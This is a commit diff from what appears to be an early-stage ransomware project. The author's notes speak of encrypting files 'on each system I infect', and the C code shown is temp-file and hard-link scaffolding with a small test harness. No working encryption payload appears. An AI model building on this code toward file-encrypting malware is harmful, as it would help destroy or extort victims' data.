summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--notes.txt4
-rw-r--r--src/encryption.c58
2 files changed, 27 insertions, 35 deletions
diff --git a/notes.txt b/notes.txt
index 66af513..0227e6a 100644
--- a/notes.txt
+++ b/notes.txt
@@ -34,6 +34,10 @@ on each system I infect, so I still need something else
34mkstemp might be quite a useful function for doing the encrypting thing, but having a template name might be problematic. I may just 34mkstemp might be quite a useful function for doing the encrypting thing, but having a template name might be problematic. I may just
35have to rename everything before linking. Maybe linkat() would work 35have to rename everything before linking. Maybe linkat() would work
36 36
37libevent might be useful to slam everything together for async IO that I don't need to real with, but that also sounds like it would
38be a lot of work that I might not need to do. I'm going to do threadpooling first and then make a branch that uses libevent to see
39if there's any appreciable improvement in performance
40
37============== LIST OF POTENTIALLY USEFUL GNU C FUNCTIONS ============== 41============== LIST OF POTENTIALLY USEFUL GNU C FUNCTIONS ==============
38 scandir() - Gets a list of files in a directory: https://www.gnu.org/software/libc/manual/html_node/Scanning-Directory-Content.html 42 scandir() - Gets a list of files in a directory: https://www.gnu.org/software/libc/manual/html_node/Scanning-Directory-Content.html
39 link() - Hardlinks one file to another location: https://www.gnu.org/software/libc/manual/html_node/Hard-Links.html 43 link() - Hardlinks one file to another location: https://www.gnu.org/software/libc/manual/html_node/Hard-Links.html
diff --git a/src/encryption.c b/src/encryption.c
index c7928d8..6da9603 100644
--- a/src/encryption.c
+++ b/src/encryption.c
@@ -35,48 +35,36 @@ int checkSodium(void) {
35// 5- Delete the temp file 35// 5- Delete the temp file
36 36
37 37
38int maketmp(const char *dest, const char *format, ...) { 38int maketmp(const char *dest) {
39 char *filename = NULL, *fullpath = NULL; 39 int fd = open(dest, (O_TMPFILE | O_WRONLY | O_CLOEXEC | O_SYNC), (S_IRUSR | S_IWUSR));
40 struct stat fb; 40 if(fd < 0)
41 int fd = -1; 41 error(1, errno, "Couldn't open temp file at %s", dest);
42 va_list ap; 42
43
44 // Make sure the destination exists and is a directory
45 if(stat(dest, &fb) < 0)
46 return -1;
47 if(!S_ISDIR(fb.st_mode))
48 return -2;
49
50 // Get the first half of the filename
51 va_start(ap, format);
52 if(vasprintf(&filename, format, ap) < 0)
53 return -3;
54 va_end(ap);
55
56 // Get the second half of the filename
57 int fps = asprintf(&fullpath, "%s%s", dest, filename); // Hack to not duplicate `free(filename)`
58 free(filename);
59 if(fps < 0)
60 return -4;
61
62 // Open the temp file
63 if((fd = open(dest, (O_WRONLY | O_CLOEXEC | O_CREAT | O_TMPFILE), S_IWUSR)) < 0)
64 fd = -5;
65
66 free(fullpath);
67 return fd; 43 return fd;
68} 44}
69 45
70 46
47#include <string.h>
71 48
72int main(int argc, char *argv[]) { 49int main(void) {
73 if(argc != 3) 50 const char *testmsg = "we do a little testing\n";
74 error(1, 0, "USAGE: <dest> <filename>");
75 51
52 int fd = maketmp(".");
76 53
77 int fd = maketmp(argv[1], "%s.test", argv[2]); 54 if(write(fd, testmsg, strlen(testmsg)) < 0)
78 if(fd < 0) 55 error(1, errno, "write broke");
79 error(1, errno, "Couldn't open temp file"); 56
57 // if(linkat(fd, "", AT_FDCWD, "kys/now", AT_EMPTY_PATH) < 0)
58 // error(1, errno, "linkat broke");
59
60 char *path = NULL;
61 asprintf(&path, "/proc/self/fd/%d", fd);
62 linkat(AT_FDCWD, path, AT_FDCWD, "./test", AT_SYMLINK_FOLLOW);
63
64 // Apparently, I don't have the CAP_DAC_READ_SEARCH capibility. Thanks for the solution, linux man pages
65
66 if(close(fd) < 0)
67 error(1, errno, "close broke");
80 68
81 return 0; 69 return 0;
82} \ No newline at end of file 70} \ No newline at end of file